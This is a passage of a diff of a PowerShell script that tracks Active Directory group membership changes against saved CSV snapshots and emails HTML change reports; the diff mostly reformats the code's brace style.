Snapin" - # Verify Quest Active Directory Snapin is loaded - IF (-not (Get-PSSnapin -Name Quest.ActiveRoles.ADManagement -ErrorAction Stop -ErrorVariable ErrorBEGINGetQuestAD)) - { - Write-Verbose -Message "[BEGIN] Quest Active Directory - Loading" - Add-PSSnapin -Name Quest.ActiveRoles.ADManagement -ErrorAction Stop -ErrorVariable ErrorBEGINAddQuestAd - Write-Verbose -Message "[BEGIN] Quest Active Directory - Loaded" - $global:QuestADSnappin = $true - } - ELSE - { - Write-Verbose -Message "[BEGIN] Quest AD Snapin seems loaded" - } - } - - Write-Verbose -Message "[BEGIN] Setting HTML Variables" - # HTML Report settings - $Report = "

" + - "Report Time: $DateFormat
" + - "Account: $env:userdomain\$($env:username.toupper()) on $($env:ComputerName.toUpper())" + - "

" - - $Head = "" - $Head2 = "" - - - }#TRY - CATCH - { - Write-Warning -Message "[BEGIN] Something went wrong" - - #Show last error - #Write-Warning -Message $_.Exception.Message - Write-Warning -Message $Error[0] - - # Quest AD Cmdlets Errors - if ($ErrorBEGINGetQuestAD) { Write-Warning -Message "[BEGIN] Can't Find the Quest Active Directory Snappin" } - if ($ErrorBEGINAddQuestAD) { Write-Warning -Message "[BEGIN] Can't Load the Quest Active Directory Snappin" } - - # AD module Errors - if ($ErrorBEGINGetADmodule) { Write-Warning -Message "[BEGIN] Can't find the Active Directory module" } - if ($ErrorBEGINAddADmodule) { Write-Warning -Message "[BEGIN] Can't load the Active Directory module" } - }#CATCH +BEGIN { + TRY { + # Set the Paths Variables and create the folders if not present + $ScriptPath = (Split-Path -Path ((Get-Variable -Name MyInvocation).Value).MyCommand.Path) + $ScriptPathOutput = $ScriptPath + "\Output" + IF (!(Test-Path -Path $ScriptPathOutput)) { + Write-Verbose -Message "[BEGIN] Creating the Output Folder : $ScriptPathOutput" + New-Item -Path $ScriptPathOutput -ItemType Directory | Out-Null + } + $ScriptPathChangeHistory = $ScriptPath + "\ChangeHistory" + IF (!(Test-Path -Path $ScriptPathChangeHistory)) { + Write-Verbose -Message "[BEGIN] Creating the ChangeHistory Folder : $ScriptPathChangeHistory" + New-Item -Path $ScriptPathChangeHistory -ItemType Directory | Out-Null + } + + # Set the Date and Time variables format + $DateFormat = Get-Date -Format "yyyyMMdd_HHmmss" + $ReportDateFormat = Get-Date -Format "yyyy\MM\dd HH:mm:ss" + + # Active Directory Module + IF (Get-Module -Name ActiveDirectory -ListAvailable) { + #verify ad module is installed + Write-Verbose -Message "[BEGIN] Active Directory Module" + # Verify Ad module is loaded + IF (-not (Get-Module -Name ActiveDirectory -ErrorAction SilentlyContinue -ErrorVariable ErrorBEGINGetADModule)) { + Write-Verbose -Message "[BEGIN] Active Directory Module - Loading" + Import-Module -Name ActiveDirectory -ErrorAction SilentlyContinue -ErrorVariable ErrorBEGINAddADModule + Write-Verbose -Message "[BEGIN] Active Directory Module - Loaded" + $global:ADModule = $true + } + ELSE { + Write-Verbose -Message "[BEGIN] Active Directory module seems loaded" + $global:ADModule = $true + } + } + ELSE { + # Else we try to load Quest Ad Cmdlets + Write-Verbose -Message "[BEGIN] Quest AD Snapin" + # Verify Quest Active Directory Snapin is loaded + IF (-not (Get-PSSnapin -Name Quest.ActiveRoles.ADManagement -ErrorAction Stop -ErrorVariable ErrorBEGINGetQuestAD)) { + Write-Verbose -Message "[BEGIN] Quest Active Directory - Loading" + Add-PSSnapin -Name Quest.ActiveRoles.ADManagement -ErrorAction Stop -ErrorVariable ErrorBEGINAddQuestAd + Write-Verbose -Message "[BEGIN] Quest Active Directory - Loaded" + $global:QuestADSnappin = $true + } + ELSE { + Write-Verbose -Message "[BEGIN] Quest AD Snapin seems loaded" + } + } + + Write-Verbose -Message "[BEGIN] Setting HTML Variables" + # HTML Report settings + $Report = "

" + + "Report Time: $DateFormat
" + + "Account: $env:userdomain\$($env:username.toupper()) on $($env:ComputerName.toUpper())" + + "

" + + $Head = "" + $Head2 = "" + + + }#TRY + CATCH { + Write-Warning -Message "[BEGIN] Something went wrong" + + #Show last error + #Write-Warning -Message $_.Exception.Message + Throw $_ + + # Quest AD Cmdlets Errors + if ($ErrorBEGINGetQuestAD) { Write-Warning -Message "[BEGIN] Can't Find the Quest Active Directory Snappin" } + if ($ErrorBEGINAddQuestAD) { Write-Warning -Message "[BEGIN] Can't Load the Quest Active Directory Snappin" } + + # AD module Errors + if ($ErrorBEGINGetADmodule) { Write-Warning -Message "[BEGIN] Can't find the Active Directory module" } + if ($ErrorBEGINAddADmodule) { Write-Warning -Message "[BEGIN] Can't load the Active Directory module" } + }#CATCH }#BEGIN +PROCESS { + TRY { + + # # # # # # # # # # # # # # # # # + # SEARCHROOT parameter specified# + # # # # # # # # # # # # # # # # # + + IF ($PSBoundParameters['SearchRoot']) { + Write-Verbose -Message "[PROCESS] SearchRoot specified" + FOREACH ($item in $SearchRoot) { + # ADGroup Splatting + $ADGroupParams = @{ } + + + # ActiveDirectory Module + IF ($ADModule) { + $ADGroupParams.SearchBase = $item + + # Server Specified + IF ($PSBoundParameters['Server']) { $ADGroupParams.Server = $Server } + } + IF ($QuestADSnappin) { + $ADGroupParams.SearchRoot = $item + + # Server Specified + IF ($PSBoundParameters['Server']) { $ADGroupParams.Service = $Server } + } + -PROCESS -{ - TRY - { - - # # # # # # # # # # # # # # # # # - # SEARCHROOT parameter specified# - # # # # # # # # # # # # # # # # # - - IF ($PSBoundParameters['SearchRoot']) - { - Write-Verbose -Message "[PROCESS] SearchRoot specified" - FOREACH ($item in $SearchRoot) - { - # ADGroup Splatting - $ADGroupParams = @{ } - - - # ActiveDirectory Module - IF ($ADModule) - { - $ADGroupParams.SearchBase = $item - - # Server Specified - IF ($PSBoundParameters['Server']) { $ADGroupParams.Server = $Server} - } - IF ($QuestADSnappin) - { - $ADGroupParams.SearchRoot = $item - - # Server Specified - IF ($PSBoundParameters['Server']) { $ADGroupParams.Service = $Server } - } - - - # # # # # # # # # # # # # # # # # # - # SEARCHSCOPE Parameter specified # - # # # # # # # # # # # # # # # # # # - IF ($PSBoundParameters['SearchScope']) - { - Write-Verbose -Message "[PROCESS] SearchScope specified" - $ADGroupParams.SearchScope = $SearchScope - } - - - # # # # # # # # # # # # # # # # # - # GROUPSCOPE Parameter specified# - # # # # # # # # # # # # # # # # # - IF ($PSBoundParameters['GroupScope']) - { - Write-Verbose -Message "[PROCESS] GroupScope specified" - # ActiveDirectory Module Parameter - IF ($ADModule) { $ADGroupParams.Filter = "GroupScope -eq `'$GroupScope`'" } - # Quest ActiveDirectory Snapin Parameter - ELSE { $ADGroupParams.GroupScope = $GroupScope } - } - - - # # # # # # # # # # # # # # # # # - # GROUPTYPE Parameter specified # - # # # # # # # # # # # # # # # # # - IF ($PSBoundParameters['GroupType']) - { - Write-Verbose -Message "[PROCESS] GroupType specified" - # ActiveDirectory Module - IF ($ADModule) - { - # ActiveDirectory Module Parameter - IF ($ADGroupParams.Filter) - { - $ADGroupParams.Filter = "$($ADGroupParams.Filter) -and GroupCategory -eq `'$GroupType`'" - } - ELSE - { - $ADGroupParams.Filter = "GroupCategory -eq '$GroupType'" - } - } - # Quest ActiveDirectory Snapin - ELSE - { - $ADGroupParams.GroupType = $GroupType - } - }#IF ($PSBoundParameters['GroupType']) - - - - IF ($ADModule) - { - IF (-not($ADGroupParams.filter)){$ADGroupParams.Filter = "*"} - - Write-Verbose -Message "[PROCESS] AD Module - Querying..." - - # Add the groups to the variable $Group + # # # # # # # # # # # # # # # # # # + # SEARCHSCOPE Parameter specified # + # # # # # # # # # # # # # # # # # # + IF ($PSBoundParameters['SearchScope']) { + Write-Verbose -Message "[PROCESS] SearchScope specified" + $ADGroupParams.SearchScope = $SearchScope + } + + + # # # # # # # # # # # # # # # # # + # GROUPSCOPE Parameter specified# + # # # # # # # # # # # # # # # # # + IF ($PSBoundParameters['GroupScope']) { + Write-Verbose -Message "[PROCESS] GroupScope specified" + # ActiveDirectory Module Parameter + IF ($ADModule) { $ADGroupParams.Filter = "GroupScope -eq `'$GroupScope`'" } + # Quest ActiveDirectory Snapin Parameter + ELSE { $ADGroupParams.GroupScope = $GroupScope } + } + + + # # # # # # # # # # # # # # # # # + # GROUPTYPE Parameter specified # + # # # # # # # # # # # # # # # # # + IF ($PSBoundParameters['GroupType']) { + Write-Verbose -Message "[PROCESS] GroupType specified" + # ActiveDirectory Module + IF ($ADModule) { + # ActiveDirectory Module Parameter + IF ($ADGroupParams.Filter) { + $ADGroupParams.Filter = "$($ADGroupParams.Filter) -and GroupCategory -eq `'$GroupType`'" + } + ELSE { + $ADGroupParams.Filter = "GroupCategory -eq '$GroupType'" + } + } + # Quest ActiveDirectory Snapin + ELSE { + $ADGroupParams.GroupType = $GroupType + } + }#IF ($PSBoundParameters['GroupType']) + + + + IF ($ADModule) { + IF (-not($ADGroupParams.filter)) { $ADGroupParams.Filter = "*" } + + Write-Verbose -Message "[PROCESS] AD Module - Querying..." + + # Add the groups to the variable $Group $GroupSearch = Get-ADGroup @ADGroupParams - if ($GroupSearch){ - $group += $GroupSearch.Distinguishedname + if ($GroupSearch) { + $group += $GroupSearch.Distinguishedname Write-Verbose -Message "[PROCESS] OU: $item" } - } - - IF ($QuestADSnappin) - { - Write-Verbose -Message "[PROCESS] Quest AD Snapin - Querying..." - # Add the groups to the variable $Group + } + + IF ($QuestADSnappin) { + Write-Verbose -Message "[PROCESS] Quest AD Snapin - Querying..." + # Add the groups to the variable $Group $GroupSearchQuest = Get-QADGroup @ADGroupParams - if ($GroupSearchQuest){ - $group += $GroupSearchQuest.DN - Write-Verbose -Message "[PROCESS] OU: $item" + if ($GroupSearchQuest) { + $group += $GroupSearchQuest.DN + Write-Verbose -Message "[PROCESS] OU: $item" } - } - - }#FOREACH ($item in $OU) - }#IF ($PSBoundParameters['SearchRoot']) - - - - - # # # # # # # # # # # # # # # - # FILE parameter specified # - # # # # # # # # # # # # # # # - - IF ($PSBoundParameters['File']) - { - Write-Verbose -Message "[PROCESS] File" - FOREACH ($item in $File) - { - Write-Verbose -Message "[PROCESS] Loading File: $item" - + } + + }#FOREACH ($item in $OU) + }#IF ($PSBoundParameters['SearchRoot']) + + + + + # # # # # # # # # # # # # # # + # FILE parameter specified # + # # # # # # # # # # # # # # # + + IF ($PSBoundParameters['File']) { + Write-Verbose -Message "[PROCESS] File" + FOREACH ($item in $File) { + Write-Verbose -Message "[PROCESS] Loading File: $item" + $FileContent = Get-Content -Path $File - - if ($FileContent) - { + + if ($FileContent) { # Add the groups to the variable $Group - $Group += Get-Content -Path $File + $Group += Get-Content -Path $File } - - - - }#FOREACH ($item in $File) - }#IF ($PSBoundParameters['File']) - - - - # # # # # # # # # # # # # # # # # # # # # # # # # # # - # GROUP or SEARCHROOT or FILE parameters specified # - # # # # # # # # # # # # # # # # # # # # # # # # # # # - - # This will run for any parameter set name ParameterSetName = OU, Group or File - FOREACH ($item in $Group) - { - TRY - { - - Write-Verbose -Message "[PROCESS] GROUP: $item... " - - # Splatting for the AD Group Request - $GroupSplatting = @{ } - $GroupSplatting.Identity = $item - - # Group Information - if ($ADModule) - { - Write-Verbose -Message "[PROCESS] ActiveDirectory module" - - # Add the Server if specified - IF ($PSBoundParameters['Server']) { $GroupSplatting.Server = $Server } - - # Look for Group - $GroupName = Get-ADGroup @GroupSplatting -Properties * -ErrorAction Continue -ErrorVariable ErrorProcessGetADGroup - $DomainName = ($GroupName.canonicalname -split '/')[0] - $RealGroupName = $GroupName.name - } - if ($QuestADSnappin) - { - Write-Verbose -Message "[PROCESS] Quest ActiveDirectory Snapin" - - # Add the Server if specified - IF ($PSBoundParameters['Server']) { $GroupSplatting.Service = $Server } - - # Look for Group - $GroupName = Get-QADgroup @GroupSplatting -ErrorAction Continue -ErrorVariable ErrorProcessGetQADGroup - $DomainName = $($GroupName.domain.name) - $RealGroupName = $GroupName.name - } - - # GroupName Found - IF ($GroupName) - { - - # Splatting for the AD Group Members Request - $GroupMemberSplatting = @{ } - $GroupMemberSplatting.Identity = $GroupName - - - # Get GroupName Membership - if ($ADModule) - { - Write-Verbose -Message "[PROCESS] GROUP: $item - Querying Membership (AD Module)" - - # Add the Server if specified - IF ($PSBoundParameters['Server']) { $GroupMemberSplatting.Server = $Server } - - # Look for Members - $Members = Get-ADGroupMember @GroupMemberSplatting -Recursive -ErrorAction Stop -ErrorVariable ErrorProcessGetADGroupMember | Select-Object -Property *,@{ Name = 'DN'; Expression = { $_.DistinguishedName } } - } - if ($QuestADSnappin) - { - Write-Verbose -Message "[PROCESS] GROUP: $item - Querying Membership (Quest AD Snapin)" - - # Add the Server if specified - IF ($PSBoundParameters['Server']) { $GroupMemberSplatting.Service = $Server } - - $Members = Get-QADGroupMember @GroupMemberSplatting -Indirect -ErrorAction Stop -ErrorVariable ErrorProcessGetQADGroupMember #| Select-Object -Property *,@{ Name = 'DistinguishedName'; Expression = { $_.dn } } - } - # NO MEMBERS, Add some info in $members to avoid the $null - # If the value is $null the compare-object won't work - IF (-not ($Members)) - { - Write-Verbose -Message "[PROCESS] GROUP: $item is empty" - $Members = New-Object -TypeName PSObject -Property @{ - Name = "No User or Group" - SamAccountName = "No User or Group" - } - } - - - # GroupName Membership File - # If the file doesn't exist, assume we don't have a record to refer to - $StateFile = "$($DomainName)_$($RealGroupName)-membership.csv" - IF (!(Test-Path -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile))) - { - Write-Verbose -Message "[PROCESS] $item - The following file did not exist: $StateFile" - Write-Verbose -Message "[PROCESS] $item - Exporting the current membership information into the file: $StateFile" - $Members | Export-csv -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile) -NoTypeInformation - } - ELSE - { - Write-Verbose -Message "[PROCESS] $item - The following file Exists: $StateFile" - } - - - # GroupName Membership File is compared with the current GroupName Membership - Write-Verbose -Message "[PROCESS] $item - Comparing Current and Before" - $ImportCSV = Import-Csv -Path (Join-Path -path $ScriptPathOutput -childpath $StateFile) -ErrorAction Stop -ErrorVariable ErrorProcessImportCSV - $Changes = Compare-Object -DifferenceObject $ImportCSV -ReferenceObject $Members -ErrorAction stop -ErrorVariable ErrorProcessCompareObject -Property Name, SamAccountName, DN | - Select-Object @{ Name = "DateTime"; Expression = { Get-Date -Format "yyyyMMdd-hh:mm:ss" } }, @{ - n = 'State'; e = { - IF ($_.SideIndicator -eq "=>") { "Removed" } - ELSE { "Added" } - } - }, DisplayName, Name, SamAccountName, DN | Where-Object { $_.name -notlike "*no user or group*" } - Write-Verbose -Message "[PROCESS] $item - Compare Block Done !" - - <# Troubleshooting - Write-Verbose -Message "IMPORTCSV var" - $ImportCSV | fl -Property Name, SamAccountName, DN - - Write-Verbose -Message "MEMBER" - $Members | fl -Property Name, SamAccountName, DN - Write-Verbose -Message "CHANGE" - $Changes - #> - - # CHANGES FOUND ! - If ($Changes) - { - Write-Verbose -Message "[PROCESS] $item - Some changes found" - $changes | Select-Object -Property DateTime, State, Name, SamAccountName, DN - - # CHANGE HISTORY - # Get the Past Changes History - Write-Verbose -Message "[PROCESS] $item - Get the change history for this group" - $ChangesHistoryFiles = Get-ChildItem -Path $ScriptPathChangeHistory\$($DomainName)_$($RealGroupName)-ChangeHistory.csv -ErrorAction 'SilentlyContinue' - Write-Verbose -Message "[PROCESS] $item - Change history files: $(($ChangesHistoryFiles|Measure-Object).Count)" - - # Process each history changes - IF ($ChangesHistoryFiles) - { - $infoChangeHistory = @() - FOREACH ($file in $ChangesHistoryFiles.FullName) - { - Write-Verbose -Message "[PROCESS] $item - Change history files - Loading $file" - # Import the file and show the $file creation time and its content - $ImportedFile = Import-Csv -Path $file -ErrorAction Stop -ErrorVariable ErrorProcessImportCSVChangeHistory - FOREACH ($obj in $ImportedFile) - { - $Output = "" | Select-Object -Property DateTime, State, DisplayName,Name, SamAccountName, DN - #$Output.DateTime = $file.CreationTime.GetDateTimeFormats("u") | Out-String - $Output.DateTime = $obj.DateTime - $Output.State = $obj.State - $Output.DisplayName = $obj.DisplayName - $Output.Name = $obj.Name - $Output.SamAccountName = $obj.SamAccountName - $Output.DN = $obj.DN - $infoChangeHistory = $infoChangeHistory + $Output - }#FOREACH $obj in Import-csv $file - }#FOREACH $file in $ChangeHistoryFiles - Write-Verbose -Message "[PROCESS] $item - Change history process completed" - }#IF($ChangeHistoryFiles) - - # CHANGE(S) EXPORT TO CSV - Write-Verbose -Message "[PROCESS] $item - Save changes to a ChangesHistory file" - - IF (-not (Test-Path -path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$($DomainName)_$($RealGroupName)-ChangeHistory.csv"))) - { - $Changes | Export-Csv -Path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$($DomainName)_$($RealGroupName)-ChangeHistory.csv") -NoTypeInformation - } - ELSE - { - #$Changes | Export-Csv -Path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$DomainName_$RealGroupName-ChangeHistory-$DateFormat.csv") -NoTypeInformation - $Changes | Export-Csv -Path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$($DomainName)_$($RealGroupName)-ChangeHistory.csv") -NoTypeInformation -Append - } - - - # EMAIL - Write-Verbose -Message "[PROCESS] $item - Preparing the notification email..." - - $EmailSubject = "PS MONITORING - $($GroupName.SamAccountName) Membership Change" - - # Preparing the body of the Email - $body = "

Group: $($GroupName.SamAccountName)

" - $body += "

" - $body += "Group Description: $($GroupName.Description)
" - $body += "Group DistinguishedName: $($GroupName.DistinguishedName)
" - $body += "Group CanonicalName: $($GroupName.CanonicalName)
" - $body += "Group SID: $($GroupName.Sid.value)
" - $body += "Group Scope/Type: $($GroupName.GroupScope) / $($GroupName.GroupType)
" - $body += "

" - - $body += "

Membership Change" - $body += "

" - $body += "The membership of this group changed. See the following Added or Removed members." - - # Removing the old DisplayName Property - $Changes = $changes | Select-Object -Property DateTime, State,Name, SamAccountName, DN - - $body += $changes | ConvertTo-Html -head $head | Out-String - $body += "


" - IF ($ChangesHistoryFiles) - { - # Removing the old DisplayName Property - $infoChangeHistory = $infoChangeHistory | Select-Object -Property DateTime, State, Name, SamAccountName, DN - - $body += "

Change History

" - $body += "List of the previous changes on this group observed by the script" - $body += $infoChangeHistory | Sort-Object -Property DateTime -Descending | ConvertTo-Html -Fragment -PreContent $Head2 | Out-String - } - $body = $body -replace "Added", "Added" - $body = $body -replace "Removed", "Removed" - $body += $Report - - # Preparing the Email properties - $SmtpClient = New-Object -TypeName system.net.mail.smtpClient - $SmtpClient.host = $EmailServer - $MailMessage = New-Object -TypeName system.net.mail.mailmessage - #$MailMessage.from = $EmailFrom.Address - $MailMessage.from = $EmailFrom - #FOREACH ($To in $Emailto){$MailMessage.To.add($($To.Address))} - FOREACH ($To in $Emailto) { $MailMessage.To.add($($To)) } - $MailMessage.IsBodyHtml = 1 - $MailMessage.Subject = $EmailSubject - $MailMessage.Body = $Body - - # Encoding - $MailMessage.BodyEncoding = [System.Text.Encoding]::$EmailEncoding - $MailMessage.SubjectEncoding = [System.Text.Encoding]::$EmailEncoding - - - # Sending the Email - $SmtpClient.Send($MailMessage) - Write-Verbose -Message "[PROCESS] $item - Email Sent." - - - # GroupName Membership export to CSV - Write-Verbose -Message "[PROCESS] $item - Exporting the current membership to $StateFile" - $Members | Export-csv -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile) -NoTypeInformation -Encoding Unicode - - # Export HTML File - IF ($PSBoundParameters['HTMLLog']) - { - # Create HTML Directory if it does not exist - $ScriptPathHTML = $ScriptPath + "\HTML" - IF (!(Test-Path -Path $ScriptPathHTML)) - { - Write-Verbose -Message "[PROCESS] Creating the HTML Folder : $ScriptPathHTML" - New-Item -Path $ScriptPathHTML -ItemType Directory | Out-Null - } - - # Define HTML File Name - $HTMLFileName = "$($DomainName)_$($RealGroupName)-$(Get-Date -Format 'yyyyMMdd_HHmmss').html" - - # Save HTML File - $Body | Out-File -FilePath (Join-Path -Path $ScriptPathHTML -ChildPath $HTMLFileName) - } - - - }#IF $Change - ELSE { Write-Verbose -Message "[PROCESS] $item - No Change" } - - }#IF ($GroupName) - ELSE - { - Write-Verbose -message "[PROCESS] $item - Group can't be found" - #IF (Get-ChildItem (Join-Path $ScriptPathOutput "*$item*-membership.csv" -ErrorAction Continue) -or (Get-ChildItem (Join-Path $ScriptPathChangeHistory "*$item*.csv" -ErrorAction Continue))) - #{ - # Write-Warning "$item - Looks like a file contains the name of this group, this group was possibly deleted from Active Directory" - #} - - }#ELSE $GroupName - }#TRY - CATCH - { - Write-Warning -Message "[PROCESS] Something went wrong" - #Write-Warning -Message $_.Exception.Message - Write-Warning -Message $Error[0] - - #Quest Snappin Errors - if ($ErrorProcessGetQADGroup) { Write-warning -Message "[PROCESS] QUEST AD - Error When querying the group $item in Active Directory" } - if ($ErrorProcessGetQADGroupMember) { Write-warning -Message "[PROCESS] QUEST AD - Error When querying the group $item members in Active Directory" } - - #ActiveDirectory Module Errors - if ($ErrorProcessGetADGroup) { Write-warning -Message "[PROCESS] AD MODULE - Error When querying the group $item in Active Directory" } - if ($ErrorProcessGetADGroupMember) { Write-warning -Message "[PROCESS] AD MODULE - Error When querying the group $item members in Active Directory" } - - # Import CSV Errors - if ($ErrorProcessImportCSV) { Write-warning -Message "[PROCESS] Error Importing $StateFile" } - if ($ErrorProcessCompareObject) { Write-warning -Message "[PROCESS] Error when comparing" } - if ($ErrorProcessImportCSVChangeHistory) { Write-warning -Message "[PROCESS] Error Importing $file" } - - Write-Warning -Message $error[0].exception.Message - }#CATCH - }#FOREACH - }#TRY - CATCH - { - Write-Warning -Message "[PROCESS] Something wrong happened" - #Write-Warning -Message $error[0].exception.message - Write-Warning -Message $error[0] - } - + + + + }#FOREACH ($item in $File) + }#IF ($PSBoundParameters['File']) + + + + # # # # # # # # # # # # # # # # # # # # # # # # # # # + # GROUP or SEARCHROOT or FILE parameters specified # + # # # # # # # # # # # # # # # # # # # # # # # # # # # + + # This will run for any parameter set name ParameterSetName = OU, Group or File + FOREACH ($item in $Group) { + TRY { + + Write-Verbose -Message "[PROCESS] GROUP: $item... " + + # Splatting for the AD Group Request + $GroupSplatting = @{ } + $GroupSplatting.Identity = $item + + # Group Information + if ($ADModule) { + Write-Verbose -Message "[PROCESS] ActiveDirectory module" + + # Add the Server if specified + IF ($PSBoundParameters['Server']) { $GroupSplatting.Server = $Server } + + # Look for Group + $GroupName = Get-ADGroup @GroupSplatting -Properties * -ErrorAction Continue -ErrorVariable ErrorProcessGetADGroup + $DomainName = ($GroupName.canonicalname -split '/')[0] + $RealGroupName = $GroupName.name + } + if ($QuestADSnappin) { + Write-Verbose -Message "[PROCESS] Quest ActiveDirectory Snapin" + + # Add the Server if specified + IF ($PSBoundParameters['Server']) { $GroupSplatting.Service = $Server } + + # Look for Group + $GroupName = Get-QADgroup @GroupSplatting -ErrorAction Continue -ErrorVariable ErrorProcessGetQADGroup + $DomainName = $($GroupName.domain.name) + $RealGroupName = $GroupName.name + } + + # GroupName Found + IF ($GroupName) { + + # Splatting for the AD Group Members Request + $GroupMemberSplatting = @{ } + $GroupMemberSplatting.Identity = $GroupName + + + # Get GroupName Membership + if ($ADModule) { + Write-Verbose -Message "[PROCESS] GROUP: $item - Querying Membership (AD Module)" + + # Add the Server if specified + IF ($PSBoundParameters['Server']) { $GroupMemberSplatting.Server = $Server } + + # Look for Members + $Members = Get-ADGroupMember @GroupMemberSplatting -Recursive -ErrorAction Stop -ErrorVariable ErrorProcessGetADGroupMember | Select-Object -Property *, @{ Name = 'DN'; Expression = { $_.DistinguishedName } } + } + if ($QuestADSnappin) { + Write-Verbose -Message "[PROCESS] GROUP: $item - Querying Membership (Quest AD Snapin)" + + # Add the Server if specified + IF ($PSBoundParameters['Server']) { $GroupMemberSplatting.Service = $Server } + + $Members = Get-QADGroupMember @GroupMemberSplatting -Indirect -ErrorAction Stop -ErrorVariable ErrorProcessGetQADGroupMember #| Select-Object -Property *,@{ Name = 'DistinguishedName'; Expression = { $_.dn } } + } + # NO MEMBERS, Add some info in $members to avoid the $null + # If the value is $null the compare-object won't work + IF (-not ($Members)) { + Write-Verbose -Message "[PROCESS] GROUP: $item is empty" + $Members = New-Object -TypeName PSObject -Property @{ + Name = "No User or Group" + SamAccountName = "No User or Group" + } + } + + + # GroupName Membership File + # If the file doesn't exist, assume we don't have a record to refer to + $StateFile = "$($DomainName)_$($RealGroupName)-membership.csv" + IF (!(Test-Path -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile))) { + Write-Verbose -Message "[PROCESS] $item - The following file did not exist: $StateFile" + Write-Verbose -Message "[PROCESS] $item - Exporting the current membership information into the file: $StateFile" + $Members | Export-Csv -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile) -NoTypeInformation + } + ELSE { + Write-Verbose -Message "[PROCESS] $item - The following file Exists: $StateFile" + } + + + # GroupName Membership File is compared with the current GroupName Membership + Write-Verbose -Message "[PROCESS] $item - Comparing Current and Before" + $ImportCSV = Import-Csv -Path (Join-Path -path $ScriptPathOutput -childpath $StateFile) -ErrorAction Stop -ErrorVariable ErrorProcessImportCSV + $Changes = Compare-Object -DifferenceObject $ImportCSV -ReferenceObject $Members -ErrorAction stop -ErrorVariable ErrorProcessCompareObject -Property Name, SamAccountName, DN | + Select-Object @{ Name = "DateTime"; Expression = { Get-Date -Format "yyyyMMdd-hh:mm:ss" } }, @{ + n = 'State'; e = { + IF ($_.SideIndicator -eq "=>") { "Removed" } + ELSE { "Added" } + } + }, DisplayName, Name, SamAccountName, DN | Where-Object -FilterScript { $_.name -notlike "*no user or group*" } + Write-Verbose -Message "[PROCESS] $item - Compare Block Done !" + + <# Troubleshooting + Write-Verbose -Message "IMPORTCSV var" + $ImportCSV | fl -Property Name, SamAccountName, DN + + Write-Verbose -Message "MEMBER" + $Members | fl -Property Name, SamAccountName, DN + Write-Verbose -Message "CHANGE" + $Changes + #> + + # CHANGES FOUND ! + If ($Changes) { + Write-Verbose -Message "[PROCESS] $item - Some changes found" + $changes | Select-Object -Property DateTime, State, Name, SamAccountName, DN + + # CHANGE HISTORY + # Get the Past Changes History + Write-Verbose -Message "[PROCESS] $item - Get the change history for this group" + $ChangesHistoryFiles = Get-ChildItem -Path $ScriptPathChangeHistory\$($DomainName)_$($RealGroupName)-ChangeHistory.csv -ErrorAction 'SilentlyContinue' + Write-Verbose -Message "[PROCESS] $item - Change history files: $(($ChangesHistoryFiles|Measure-Object).Count)" + + # Process each history changes + IF ($ChangesHistoryFiles) { + $infoChangeHistory = @() + FOREACH ($file in $ChangesHistoryFiles.FullName) { + Write-Verbose -Message "[PROCESS] $item - Change history files - Loading $file" + # Import the file and show the $file creation time and its content + $ImportedFile = Import-Csv -Path $file -ErrorAction Stop -ErrorVariable ErrorProcessImportCSVChangeHistory + FOREACH ($obj in $ImportedFile) { + $Output = "" | Select-Object -Property DateTime, State, DisplayName, Name, SamAccountName, DN + #$Output.DateTime = $file.CreationTime.GetDateTimeFormats("u") | Out-String + $Output.DateTime = $obj.DateTime + $Output.State = $obj.State + $Output.DisplayName = $obj.DisplayName + $Output.Name = $obj.Name + $Output.SamAccountName = $obj.SamAccountName + $Output.DN = $obj.DN + $infoChangeHistory = $infoChangeHistory + $Output + }#FOREACH $obj in Import-csv $file + }#FOREACH $file in $ChangeHistoryFiles + Write-Verbose -Message "[PROCESS] $item - Change history process completed" + }#IF($ChangeHistoryFiles) + + # CHANGE(S) EXPORT TO CSV + Write-Verbose -Message "[PROCESS] $item - Save changes to a ChangesHistory file" + + IF (-not (Test-Path -path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$($DomainName)_$($RealGroupName)-ChangeHistory.csv"))) { + $Changes | Export-Csv -Path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$($DomainName)_$($RealGroupName)-ChangeHistory.csv") -NoTypeInformation + } + ELSE { + #$Changes | Export-Csv -Path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$DomainName_$RealGroupName-ChangeHistory-$DateFormat.csv") -NoTypeInformation + $Changes | Export-Csv -Path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$($DomainName)_$($RealGroupName)-ChangeHistory.csv") -NoTypeInformation -Append + } + + + # EMAIL + Write-Verbose -Message "[PROCESS] $item - Preparing the notification email..." + + $EmailSubject = "PS MONITORING - $($GroupName.SamAccountName) Membership Change" + + # Preparing the body of the Email + $body = "

Group: $($GroupName.SamAccountName)

" + $body += "

" + $body += "Group Description: $($GroupName.Description)
" + $body += "Group DistinguishedName: $($GroupName.DistinguishedName)
" + $body += "Group CanonicalName: $($GroupName.CanonicalName)
" + $body += "Group SID: $($GroupName.Sid.value)
" + $body += "Group Scope/Type: $($GroupName.GroupScope) / $($GroupName.GroupType)
" + $body += "

" + + $body += "

Membership Change" + $body += "

" + $body += "The membership of this group changed. See the following Added or Removed members." + + # Removing the old DisplayName Property + $Changes = $changes | Select-Object -Property DateTime, State, Name, SamAccountName, DN + + $body += $changes | ConvertTo-Html -head $head | Out-String + $body += "


" + IF ($ChangesHistoryFiles) { + # Removing the old DisplayName Property + $infoChangeHistory = $infoChangeHistory | Select-Object -Property DateTime, State, Name, SamAccountName, DN + + $body += "

Change History

